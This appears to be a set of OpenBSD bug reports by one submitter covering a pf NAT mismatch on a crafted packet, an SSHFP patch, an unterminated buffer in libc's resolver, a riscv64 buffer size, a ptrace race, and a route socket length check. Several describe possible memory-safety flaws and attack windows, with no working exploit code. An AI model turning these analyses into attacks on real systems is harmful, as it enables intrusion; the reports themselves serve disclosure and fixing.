pf nat-to doesn't match a crafted packet

[pjp]

>Synopsis:  pf nat-to doesn't match a crafted packet
>Category:  system
>Environment:
System  : OpenBSD 7.3
Details : OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT 
2023
 
dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
I was testing a seemingly valid Internet packet going out my gateway 
but the pf firewall doesn't match nat-to to this one for some reason.  I'm
possibly overlooking something but every other packet exiting my gateway is
nat'ed.  What causes this?  How can this be exploited?

>How-To-Repeat:
Here is the tcpdump from the host 1 hop behind the NAT router:

16:59:08.438082 192.168.177.13 > 49.12.42.182: icmp: host 7.198.187.211 
unreachable [icmp cksum ok] for 11.69.44.241.52699 > 7.198.187.211.55672: udp 
51351 [tos 0x9c] (ttl 147, id 17124, len 51419, optlen=40 NOP RR{39}= 
RR{#106.155.117.54 233.26.79.111 129.127.249.242 60.117.146.16 179.39.29.224 
213.65.49.78 0.16.45.109 252.168.188.0 123.108.138.224}) (ttl 64, id 65443, len 
96)
  : 4500 0060 ffa3  4001 ad81 c0a8 b10d  E..`@...
  0010: 310c 2ab6 0301 55aa   4f9c c8db  1.*...U.O...
  0020: 42e4  9311 c756 0b45 2cf1 07c6 bbd3  B..V.E,.
  0030: 0107 2704 6a9b 7536 e91a 4f6f 817f f9f2  ..'.j.u6..Oo
  0040: 3c75 9210 b327 1de0 d541 314e 0010 2d6d   49.12.42.182: icmp: host 7.198.187.211 unreacha
ble [icmp cksum ok] (ttl 63, id 65443, len 96)

Here is the relevant anchor rules I have:

   match out on $ext_if inet from  to any nat-to ($ext_if)

and:

table  const { 10/8, 172.16/12, 192.168/16 }

Why did pf not translate this?  ... that's kinda kinky.

>Fix:
Not known.


dmesg:
OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT 2023
dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
real mem  = 8432840704 (8042MB)
avail mem = 8139239424 (7762MB)
random: good seed from bootblocks
mainbus0 at root: ACPI
psci0 at mainbus0: PSCI 1.1, SMCCC 1.2
cpu0 at mainbus0 mpidr 0: ARM Cortex-A72 r0p3
cpu0: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu0: 1024KB 64b/line 16-way L2 cache
cpu0: CRC32,ASID16
cpu1 at mainbus0 mpidr 1: ARM Cortex-A72 r0p3
cpu1: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu1: 1024KB 64b/line 16-way L2 cache
cpu1: CRC32,ASID16
cpu2 at mainbus0 mpidr 2: ARM Cortex-A72 r0p3
cpu2: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu2: 1024KB 64b/line 16-way L2 cache
cpu2: CRC32,ASID16
cpu3 at mainbus0 mpidr 3: ARM Cortex-A72 r0p3
cpu3: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu3: 1024KB 64b/line 16-way L2 cache
cpu3: CRC32,ASID16
efi0 at mainbus0: UEFI 2.7
efi0: https://github.com/pftf/RPi4 rev 0x1
smbios0 at efi0: SMBIOS 3.3.0
smbios0: vendor https://github.com/pftf/RPi4 version "UEFI Firmware v1.21" date 
11/13/2020
smbios0: Raspberry Pi Foundation Raspberry Pi 4 Model B
apm0 at mainbus0
ampintc0 at mainbus0 nirq 256, ncpu 4 ipi: 0, 1, 2: "interrupt-controller"
agtimer0 at mainbus0: 54000 kHz
acpi0 at mainbus0: ACPI 6.3
acpi0: sleep states
acpi0: tables DSDT FACP CSRT DBG2 GTDT IORT APIC PPTT BGRT
acpi0: wakeup devices
acpiiort0 at acpi0
"BCM2849" at acpi0 not configured
"BCM2835" at acpi0 not configured
"BCM2854" at acpi0 not configured
"ACPI0004" at acpi0 not configured
xhci0 at acpi0 XHC0 addr 0x6/0x1000 irq 175, xHCI 1.0
usb0 at xhci0: USB revision 3.0
uhub0 at usb0 configuration 1 interface 0 "Generic xHCI root hub" rev 3.00/1.00 
addr 1
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0004" at acpi0 not configured
"BCM2848" at acpi0 not configured
"BCM2850" at acpi0 not configured
"BCM2856" at acpi0 not configured
"BCM2845" at acpi0 not configured
"BCM2841" at acpi0 not configured
"BCM2841" at acpi0 not configured
"BCM2838" at acpi0 not configured
"BCM2839" at acpi0 not configured
"BCM2844" at acpi0 not configured
pluart0 at acpi0 URT0 addr 0xfe201000/0x1000 irq 153
"BCM2836" at acpi0 not configured
"BCM2EA6" at acpi0 not configured
"MSFT8000" at acpi0 not configured
sdhc0 at acpi0 SDC1 addr 0xfe30/0x100 irq 158
sdhc0: base clock frequency unknown
"BCM2855" at acpi0 not configured
bse0 at acpi0 ETH0 addr 0xfd58/0x1 irq 189: address dc:a6:32:cc:db:a7
brgphy0 at bse0 phy 1: BCM54210E 10/100/1000baseT PHY, rev. 2
"PNP0C06" at acpi0 not configured
acpitz0 at acpi0: critical temperature is 90 degC
simplefb0 at mainbus0: 640x480, 32bpp
wsdisplay0 at simplefb0 mux 1: console (std, vt100 emulation)
wsdisplay0: screen 1-5 added (std, vt100 emulation)
uhub1 at uhub0 port 1 configuration 1 interface 0 "VIA Labs USB2.0 Hub" rev 
2.10/4.21 addr 2
uhidev0 at uhub1 port 4 configuration 1 interface 0 "APC Back-UPS ES 700G 
FW:871.O4 .I USB FW:O4" rev 1.10/1.06 addr 3

until this patch a forwarded port could not authenticate SSHFP

[pjp]

>Synopsis:  give ssh the opportunity for a second look for SSHFP
>Category:  user
>Environment:
System  : OpenBSD 7.3
Details : OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT 
2023
 
dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
It currently isn't possible to store SSHFP keys for forwarded hosts
one had to create a new hostname for this with the same IP of where one is
SSH'ing to.  Here is another way.  SSHFP can lookup _service._tcp.host...
as a second option.  I have made this patch and tested it, typescript below.

>How-To-Repeat:

Script started on Fri Aug 11 17:07:35 2023
oceans$ date
Fri Aug 11 17:07:36 CEST 2023
oceans$ ssh -v -p 52522 stern
OpenSSH_9.3, LibreSSL 3.8.1
debug1: Reading configuration data /home/pjp/.ssh/config
debug1: /home/pjp/.ssh/config line 1: Applying options for stern
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Connecting to stern.delphinusdns.org [80.152.143.221] port 52522.
debug1: Connection established.
debug1: identity file /home/pjp/.ssh/id_rsa type 0
debug1: identity file /home/pjp/.ssh/id_rsa-cert type -1
debug1: identity file /home/pjp/.ssh/id_ecdsa type -1
debug1: identity file /home/pjp/.ssh/id_ecdsa-cert type -1
debug1: identity file /home/pjp/.ssh/id_ecdsa_sk type -1
debug1: identity file /home/pjp/.ssh/id_ecdsa_sk-cert type -1
debug1: identity file /home/pjp/.ssh/id_ed25519 type -1
debug1: identity file /home/pjp/.ssh/id_ed25519-cert type -1
debug1: identity file /home/pjp/.ssh/id_ed25519_sk type -1
debug1: identity file /home/pjp/.ssh/id_ed25519_sk-cert type -1
debug1: identity file /home/pjp/.ssh/id_xmss type -1
debug1: identity file /home/pjp/.ssh/id_xmss-cert type -1
debug1: identity file /home/pjp/.ssh/id_dsa type -1
debug1: identity file /home/pjp/.ssh/id_dsa-cert type -1
debug1: Local version string SSH-2.0-OpenSSH_9.3
debug1: Remote protocol version 2.0, remote software version OpenSSH_9.3
debug1: compat_banner: match: OpenSSH_9.3 pat OpenSSH* compat 0x0400
debug1: Authenticating to stern.delphinusdns.org:52522 as 'pjp'
debug1: load_hostkeys: fopen /home/pjp/.ssh/known_hosts2: No such file or 
directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or 
directory
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: sntrup761x25519-sha...@openssh.com
debug1: kex: host key algorithm: ssh-ed25519
debug1: kex: server->client cipher: chacha20-poly1...@openssh.com MAC: 
 compression: none
debug1: kex: client->server cipher: chacha20-poly1...@openssh.com MAC: 
 compression: none
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: SSH2_MSG_KEX_ECDH_REPLY received
debug1: Server host key: ssh-ed25519 
SHA256:SdKzxBNyL3fqrFxMM1b4IUG4YiQWR4zDAwTB0iQxyC0
debug1: found 8 secure fingerprints in DNS
debug1: verify_host_key_dns: failed SSHFP type 4 fptype 1
debug1: verify_host_key_dns: failed SSHFP type 4 fptype 2
debug1: mismatching host key fingerprint found in DNS
debug1: doing a second DNS SSHFP lookup on _52522._tcp.stern.delphinusdns.org
debug1: found 8 secure fingerprints in DNS
debug1: verify_host_key_dns: matched SSHFP type 4 fptype 1
debug1: verify_host_key_dns: matched SSHFP type 4 fptype 2
debug1: matching host key fingerprint found in DNS
debug1: rekey out after 134217728 blocks
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: rekey in after 134217728 blocks
debug1: Will attempt key: /home/pjp/.ssh/id_rsa RSA 
SHA256:NraIeolSeBLOeflBQEt4G9T8qxiy1loPTqw05I23DXs
debug1: Will attempt key: /home/pjp/.ssh/id_ecdsa
debug1: Will attempt key: /home/pjp/.ssh/id_ecdsa_sk
debug1: Will attempt key: /home/pjp/.ssh/id_ed25519
debug1: Will attempt key: /home/pjp/.ssh/id_ed25519_sk
debug1: Will attempt key: /home/pjp/.ssh/id_xmss
debug1: Will attempt key: /home/pjp/.ssh/id_dsa
debug1: SSH2_MSG_EXT_INFO received
debug1: kex_input_ext_info: 
server-sig-algs=
debug1: kex_input_ext_info: publickey-hostbo...@openssh.com=<0>
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,keyboard-interactive
debug1: Next authentication method: publickey
debug1: Offering public key: /home/pjp/.ssh/id_rsa RSA 
SHA256:NraIeolSeBLOeflBQEt4G9T8qxiy1loPTqw05I23DXs
debug1: Server accepts key: /home/pjp/.ssh/id_rsa RSA 
SHA256:NraIeolSeBLOeflBQEt4G9T8qxiy1loPTqw05I23DXs
Enter passphrase for key '/home/pjp/.ssh/id_rsa':

oceans$ exit

Script done on Fri Aug 11 17:08:02 2023

at the time this was tested on a few days old OpenBSD system:

oceans$ sysctl kern.version
kern.version=OpenBSD 7.3-current (GENERIC.MP) #394: Tue Aug  8 10:57:21 MDT 2023
dera...@riscv64.openbsd.org:/usr/src/sys/arch/riscv64/compile/GENERIC

no termination on buffer

[pjp]

>Synopsis:  no termination on buffer
>Category:  library
>Environment:
System  : OpenBSD 7.3
Details : OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT 
2023
 
dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:

This is all just theory as I'm code reading.  Let's start in 
setup_query() in /usr/src/lib/libc/asr/res_send_async.c ,...

fqdn and dname are size MAXDNAME, pretend MAXDNAME is 50 for simplicity
this means that the maximum fqdn name can be 49 characters long, and
[1] this is checked in _asr_make_fqdn(), the 50th character is \0.

the next function is _asr_dname_from_fqdn() and it does not check for
anything but -1, though perhaps it should check for more?  Let's
check this function out, in /usr/src/lib/libc/asr/asr_utils.c

ssize_t
_asr_dname_from_fqdn(const char *str, char *dst, size_t max)
{

XXX str is the fqdn so 49 characters long, dst is dname 50 characters sized.
max is also at 50.

res = 0;

/* special case: the root domain */
if (str[0] == '.') {

XXX we're not a root domain so we skip this check, now the room gets hot

for (; *str; str = d + 1) {

d = strchr(str, '.');
if (d == NULL || d == str)
return (-1);

XXX the 49th character in str is '.' coincidentally.

l = (d - str);

XXX here l == 49

if (dname_check_label(str, l) == -1)
return (-1);

XXX this just checks if we're beyond 63 so it doesn't apply.

res += l + 1;

XXX res is now 49 + 1 == 50

if (dst) {
*dst++ = l;
XXX dst is incremented by 1 byte
max -= 1;
XXX max is now 49
n = (l > max) ? max : l;

XXX l is not larger than max so false, n equals 49 now
memmove(dst, str, n);
XXX dst is now filled with 49 bytes from str
max -= n;
XXX max is reduced by 49 so it is 0
if (max == 0)
dst = NULL;
XXX dst is now NULL
else

XXX else does not apply here, we go through the loop again *str is at 49(.)

   for (; *str; str = d + 1) {

XXX at this point the loop ends becuase d is at 49th byte + 1 is the 50th
XXX byte and that is \0, see [1]


if (dst)

XXX dst is NULL so this does not enter the if condition, which is too bad

*dst++ = '\0';

XXX because that would have terminated the dst, even if it was an off by
XXX one.

return (res + 1);

XXX we return res + 1, which is irrelevant because it only gets checked for
-1





So what do we have here?

dname is not terminated!  dname was from the stack and not guaranteed
to be zero'ed or is it?  Going / returning to:

static int
setup_query(struct asr_query *as, const char *name, const char *dom,

we eventually do strdup(dname), which surely does a strlen() of dname
the dname buffer is overwalked, into somewhere until the \0.

we could have a crash or it could be exploited further down perhaps.

>How-To-Repeat:

Code reading for something, for which I may put up a mail soon.

>Fix:
one thing that can be done is guaranteeing that the buffer of
dname is zero filled with a memset(, 0, sizeof(dname)) at
beginning of setup_query()  This would avert a lot of pain.

Or you could fix _asr_dname_from_fqdn(), which I won't do.


dmesg:
OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT 2023
dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
real mem  = 8432840704 (8042MB)
avail mem = 8139239424 (7762MB)
random: good seed from bootblocks
mainbus0 at root: ACPI
psci0 at mainbus0: PSCI 1.1, SMCCC 1.2
cpu0 at mainbus0 mpidr 0: ARM Cortex-A72 r0p3
cpu0: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu0: 1024KB 64b/line 16-way L2 cache
cpu0: CRC32,ASID16
cpu1 at mainbus0 mpidr 1: ARM Cortex-A72 r0p3
cpu1: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu1: 1024KB 64b/line 16-way L2 cache
cpu1: CRC32,ASID16
cpu2 at mainbus0 mpidr 2: ARM Cortex-A72 r0p3
cpu2: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu2: 1024KB 64b/line 16-way L2 cache
cpu2: CRC32,ASID16
cpu3 at mainbus0 mpidr 3: ARM Cortex-A72 r0p3
cpu3: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu3: 1024KB 64b/line 16-way L2 cache
cpu3: CRC32,ASID16
efi0 at mainbus0: UEFI 2.7
efi0: https://github.com/pftf/RPi4 rev 0x1
smbios0 at efi0: SMBIOS 3.3.0
smbios0: vendor https://github.com/pftf/RPi4 version "UEFI 

buffer overprint in riscv64/cpu.c

[pjp]

>Synopsis:  non-terminated strings buffer in riscv64/cpu.c
>Category:  kernel
>Environment:
System  : OpenBSD 7.3
Details : OpenBSD 7.3-current (GENERIC.MP) #376: Thu Jul 13 
03:59:40 MDT 2023
 
dera...@riscv64.openbsd.org:/usr/src/sys/arch/riscv64/compile/GENERIC.MP

Architecture: OpenBSD.riscv64
Machine : riscv64
>Description:
The cpu detect output is not NUL terminated, this causes *puke* to be
displayed on serial terminals.
>How-To-Repeat:
Using Qemu for riscv64 arch.

from a eeprom -p | grep isa output:

riscv,isa: 
'rv64imafdch_zicsr_zifencei_zihintpause_zba_zbb_zbc_zbs_sstc'
riscv,isa: 
'rv64imafdch_zicsr_zifencei_zihintpause_zba_zbb_zbc_zbs_sstc'

I counted this as 60 bytes long.
>Fix:

There is two approaches.  One is to explicitly NUL terminate the 32 byte
buffer or make it bigger.  I give an untested patch of the latter.

Index: cpu.c
===
RCS file: /cvs/src/sys/arch/riscv64/riscv64/cpu.c,v
retrieving revision 1.14
diff -u -p -u -r1.14 cpu.c
--- cpu.c   15 Jun 2023 22:18:08 -  1.14
+++ cpu.c   1 Aug 2023 11:35:28 -
@@ -87,7 +87,7 @@ int cpu_errata_sifive_cip_1200;
 void
 cpu_identify(struct cpu_info *ci)
 {
-   char isa[32];
+   char isa[64];
uint64_t marchid, mimpid;
uint32_t mvendorid;
const char *vendor_name = NULL;


dmesg:
OpenBSD 7.3-current (GENERIC.MP) #376: Thu Jul 13 03:59:40 MDT 2023
dera...@riscv64.openbsd.org:/usr/src/sys/arch/riscv64/compile/GENERIC.MP
real mem  = 2147483648 (2048MB)
avail mem = 2027982848 (1934MB)
SBI: OpenSBI v1.2, SBI Specification Version 1.0
random: good seed from bootblocks
mainbus0 at root: riscv-virtio,qemu
cpu0 at mainbus0: vendor 0 arch 70200 imp 70200 
rv64imafdch_zicsr_zifencei_zihin\M-n\M-#7
intc0 at cpu0
cpu1 at mainbus0: vendor 0 arch 70200 imp 70200 
rv64imafdch_zicsr_zifencei_zihin\M-n\M-#7
syscon0 at mainbus0: "poweroff"
syscon1 at mainbus0: "reboot"
"fw-cfg" at mainbus0 not configured
"flash" at mainbus0 not configured
simplebus0 at mainbus0: "platform-bus"
simplebus1 at mainbus0: "soc"
syscon2 at simplebus1: "test"
plic0 at simplebus1
"pmu" at simplebus1 not configured
gfrtc0 at simplebus1
com0 at simplebus1: ns16550, no working fifo
com0: console
pciecam0 at simplebus1
pci0 at pciecam0
"Red Hat Host" rev 0x00 at pci0 dev 0 function 0 not configured
virtio0 at simplebus1: Virtio Network Device
vio0 at virtio0: address 52:54:00:12:34:56
virtio1 at simplebus1: Virtio Block Device
vioblk0 at virtio1
scsibus0 at vioblk0: 1 targets
sd0 at scsibus0 targ 0 lun 0: 
sd0: 40960MB, 512 bytes/sector, 83886080 sectors
virtio2 at simplebus1: Virtio Unknown (0) Device
virtio3 at simplebus1: Virtio Unknown (0) Device
virtio4 at simplebus1: Virtio Unknown (0) Device
virtio5 at simplebus1: Virtio Unknown (0) Device
virtio6 at simplebus1: Virtio Unknown (0) Device
virtio7 at simplebus1: Virtio Unknown (0) Device
"clint" at simplebus1 not configured
vscsi0 at root
scsibus1 at vscsi0: 256 targets
softraid0 at root
scsibus2 at softraid0: 256 targets
root on sd0a (a44107957d8bed73.a) swap on sd0b dump on sd0b

usbdevs:
usbdevs: no USB controllers found

pcidump:

everything past here is not provided.

delaying ptrace(2)'ing a process about to change credentials

[pjp]

>Synopsis:  delaying ptrace(2)'ing a process about to change credentials
>Category:  kernel
>Environment:
System  : OpenBSD 7.3
Details : OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT 
2023
 
dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
In many scenarios it's possible to attach to a root owned process
with ptrace(2) after it changes credentials to non-root.  One would have to 
repeat the attach effort over and over (speed is what counts).  There may be 
data in a small window that is not wiped clean and the attacker wants this
data.  He or she stops the process with a ptrace attach and sends a coredump
signal.  Perhaps stalling EPERM returns with a timeout would be good, just
like the backup algorithm in login program, would prevent successful use of
this.
>How-To-Repeat:
Code reading this part in /sys/kern/sys_process.c

/*
 *  (5) it's not owned by you, or the last exec
 *  gave us setuid/setgid privs (unless
 *  you're root), or...
 * 
 *  [Note: once PS_SUGID or PS_SUGIDEXEC gets set in
 *  execve(), they stay set until the process does
 *  another execve().  Hence this prevents a setuid
 *  process which revokes its special privileges using
 *  setuid() from being traced.  This is good security.]
 */
if ((tr->ps_ucred->cr_ruid != p->p_ucred->cr_ruid ||
ISSET(tr->ps_flags, PS_SUGIDEXEC | PS_SUGID)) &&
(error = suser(p)) != 0)
goto fail;

at fail it returns immediately from the kernel.
>Fix:
A small time delay perhaps random too would work.


dmesg:
OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT 2023
dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
real mem  = 8432840704 (8042MB)
avail mem = 8139239424 (7762MB)
random: good seed from bootblocks
mainbus0 at root: ACPI
psci0 at mainbus0: PSCI 1.1, SMCCC 1.2
cpu0 at mainbus0 mpidr 0: ARM Cortex-A72 r0p3
cpu0: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu0: 1024KB 64b/line 16-way L2 cache
cpu0: CRC32,ASID16
cpu1 at mainbus0 mpidr 1: ARM Cortex-A72 r0p3
cpu1: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu1: 1024KB 64b/line 16-way L2 cache
cpu1: CRC32,ASID16
cpu2 at mainbus0 mpidr 2: ARM Cortex-A72 r0p3
cpu2: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu2: 1024KB 64b/line 16-way L2 cache
cpu2: CRC32,ASID16
cpu3 at mainbus0 mpidr 3: ARM Cortex-A72 r0p3
cpu3: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu3: 1024KB 64b/line 16-way L2 cache
cpu3: CRC32,ASID16
efi0 at mainbus0: UEFI 2.7
efi0: https://github.com/pftf/RPi4 rev 0x1
smbios0 at efi0: SMBIOS 3.3.0
smbios0: vendor https://github.com/pftf/RPi4 version "UEFI Firmware v1.21" date 
11/13/2020
smbios0: Raspberry Pi Foundation Raspberry Pi 4 Model B
apm0 at mainbus0
ampintc0 at mainbus0 nirq 256, ncpu 4 ipi: 0, 1, 2: "interrupt-controller"
agtimer0 at mainbus0: 54000 kHz
acpi0 at mainbus0: ACPI 6.3
acpi0: sleep states
acpi0: tables DSDT FACP CSRT DBG2 GTDT IORT APIC PPTT BGRT
acpi0: wakeup devices
acpiiort0 at acpi0
"BCM2849" at acpi0 not configured
"BCM2835" at acpi0 not configured
"BCM2854" at acpi0 not configured
"ACPI0004" at acpi0 not configured
xhci0 at acpi0 XHC0 addr 0x6/0x1000 irq 175, xHCI 1.0
usb0 at xhci0: USB revision 3.0
uhub0 at usb0 configuration 1 interface 0 "Generic xHCI root hub" rev 3.00/1.00 
addr 1
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0004" at acpi0 not configured
"BCM2848" at acpi0 not configured
"BCM2850" at acpi0 not configured
"BCM2856" at acpi0 not configured
"BCM2845" at acpi0 not configured
"BCM2841" at acpi0 not configured
"BCM2841" at acpi0 not configured
"BCM2838" at acpi0 not configured
"BCM2839" at acpi0 not configured
"BCM2844" at acpi0 not configured
pluart0 at acpi0 URT0 addr 0xfe201000/0x1000 irq 153
"BCM2836" at acpi0 not configured
"BCM2EA6" at acpi0 not configured
"MSFT8000" at acpi0 not configured
sdhc0 at acpi0 SDC1 addr 0xfe30/0x100 irq 158
sdhc0: base clock frequency unknown
"BCM2855" at acpi0 not configured
bse0 at acpi0 ETH0 addr 0xfd58/0x1 irq 189: address dc:a6:32:cc:db:a7
brgphy0 at bse0 phy 1: BCM54210E 10/100/1000baseT PHY, rev. 2
"PNP0C06" at acpi0 not configured
acpitz0 at acpi0: critical temperature is 90 degC
simplefb0 at mainbus0: 640x480, 32bpp
wsdisplay0 at simplefb0 mux 1: console (std, vt100 emulation)
wsdisplay0: screen 1-5 added (std, vt100 emulation)
uhub1 at uhub0 port 1 configuration 1 interface 0 "VIA Labs USB2.0 

not a sufficient check?

[pjp]

>Synopsis:  unsafe check for a length in net/rtsock.c
>Category:  kernel
>Environment:
System  : OpenBSD 7.3
Details : OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT 
2023
 
dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
While code reading (particularily why RTM_DESYNC says something about
a buffer overflow, in the route(4) manpage) i bumped into the following in 
net/rtmsock.c:

500
501 /* ensure that we can access the rtm_type via mtod() */
502 if (m->m_len < offsetof(struct rt_msghdr, rtm_type) + 1) {
503 m_freem(m);
504 return;
505 }

This may not be sufficient as a safe check because rtm_flags and rtm_tableid are
accessed later in the code, the length check should possibly guarantee the
entire length of the struct rt_msghdr no?

>How-To-Repeat:
Code Reading, General Nuisance.
>Fix:
I would change the line 502 to:

if (m->m_len < sizeof(struct rt_msghdr)) ...

I don't know if there is any caveats though.


dmesg:
OpenBSD 7.3 (GENERIC.MP) #2080: Sat Mar 25 14:20:25 MDT 2023
dera...@arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP
real mem  = 8432840704 (8042MB)
avail mem = 8139239424 (7762MB)
random: good seed from bootblocks
mainbus0 at root: ACPI
psci0 at mainbus0: PSCI 1.1, SMCCC 1.2
cpu0 at mainbus0 mpidr 0: ARM Cortex-A72 r0p3
cpu0: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu0: 1024KB 64b/line 16-way L2 cache
cpu0: CRC32,ASID16
cpu1 at mainbus0 mpidr 1: ARM Cortex-A72 r0p3
cpu1: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu1: 1024KB 64b/line 16-way L2 cache
cpu1: CRC32,ASID16
cpu2 at mainbus0 mpidr 2: ARM Cortex-A72 r0p3
cpu2: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu2: 1024KB 64b/line 16-way L2 cache
cpu2: CRC32,ASID16
cpu3 at mainbus0 mpidr 3: ARM Cortex-A72 r0p3
cpu3: 48KB 64b/line 3-way L1 PIPT I-cache, 32KB 64b/line 2-way L1 D-cache
cpu3: 1024KB 64b/line 16-way L2 cache
cpu3: CRC32,ASID16
efi0 at mainbus0: UEFI 2.7
efi0: https://github.com/pftf/RPi4 rev 0x1
smbios0 at efi0: SMBIOS 3.3.0
smbios0: vendor https://github.com/pftf/RPi4 version "UEFI Firmware v1.21" date 
11/13/2020
smbios0: Raspberry Pi Foundation Raspberry Pi 4 Model B
apm0 at mainbus0
ampintc0 at mainbus0 nirq 256, ncpu 4 ipi: 0, 1, 2: "interrupt-controller"
agtimer0 at mainbus0: 54000 kHz
acpi0 at mainbus0: ACPI 6.3
acpi0: sleep states
acpi0: tables DSDT FACP CSRT DBG2 GTDT IORT APIC PPTT BGRT
acpi0: wakeup devices
acpiiort0 at acpi0
"BCM2849" at acpi0 not configured
"BCM2835" at acpi0 not configured
"BCM2854" at acpi0 not configured
"ACPI0004" at acpi0 not configured
xhci0 at acpi0 XHC0 addr 0x6/0x1000 irq 175, xHCI 1.0
usb0 at xhci0: USB revision 3.0
uhub0 at usb0 configuration 1 interface 0 "Generic xHCI root hub" rev 3.00/1.00 
addr 1
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0007" at acpi0 not configured
"ACPI0004" at acpi0 not configured
"BCM2848" at acpi0 not configured
"BCM2850" at acpi0 not configured
"BCM2856" at acpi0 not configured
"BCM2845" at acpi0 not configured
"BCM2841" at acpi0 not configured
"BCM2841" at acpi0 not configured
"BCM2838" at acpi0 not configured
"BCM2839" at acpi0 not configured
"BCM2844" at acpi0 not configured
pluart0 at acpi0 URT0 addr 0xfe201000/0x1000 irq 153
"BCM2836" at acpi0 not configured
"BCM2EA6" at acpi0 not configured
"MSFT8000" at acpi0 not configured
sdhc0 at acpi0 SDC1 addr 0xfe30/0x100 irq 158
sdhc0: base clock frequency unknown
"BCM2855" at acpi0 not configured
bse0 at acpi0 ETH0 addr 0xfd58/0x1 irq 189: address dc:a6:32:cc:db:a7
brgphy0 at bse0 phy 1: BCM54210E 10/100/1000baseT PHY, rev. 2
"PNP0C06" at acpi0 not configured
acpitz0 at acpi0: critical temperature is 90 degC
simplefb0 at mainbus0: 640x480, 32bpp
wsdisplay0 at simplefb0 mux 1: console (std, vt100 emulation)
wsdisplay0: screen 1-5 added (std, vt100 emulation)
uhub1 at uhub0 port 1 configuration 1 interface 0 "VIA Labs USB2.0 Hub" rev 
2.10/4.21 addr 2
uhidev0 at uhub1 port 4 configuration 1 interface 0 "APC Back-UPS ES 700G 
FW:871.O4 .I USB FW:O4" rev 1.10/1.06 addr 3
uhidev0: iclass 3/0, 146 report ids
upd0 at uhidev0
uhid0 at uhidev0 reportid 1: input=0, output=0, feature=1
uhid1 at uhidev0 reportid 2: input=0, output=0, feature=1
uhid2 at uhidev0 reportid 3: input=0, output=0, feature=1
uhid3 at uhidev0 reportid 4: input=0, output=0, feature=1
uhid4 at uhidev0 reportid 5: input=0, output=0, feature=1
uhid5 at uhidev0 reportid 6: input=1, output=0, feature=1
uhid6 at uhidev0 reportid 7: input=0, output=0, feature=2
uhid7 at uhidev0 reportid 8: input=0, output=0, feature=2
uhid8 at uhidev0 reportid 9: input=0, output=0, feature=2
uhid9 at 

unwind is too noisy on sendto failures

[pjp]

>Synopsis:  unwind is too noisy on sendto failures / it's misleading
>Category:  user
>Environment:
System  : OpenBSD 7.2
Details : OpenBSD 7.2 (GENERIC.MP) #7: Sat Feb 25 14:07:21 MST 2023
 
r...@syspatch-72-arm64.openbsd.org:/usr/src/sys/arch/arm64/compile/GENERIC.MP

Architecture: OpenBSD.arm64
Machine : arm64
>Description:
Happy Easter Weekend!  I hope this is my only bug report.  I was getting
a lot of "packet too short" log messages in my logs after enabling firewall
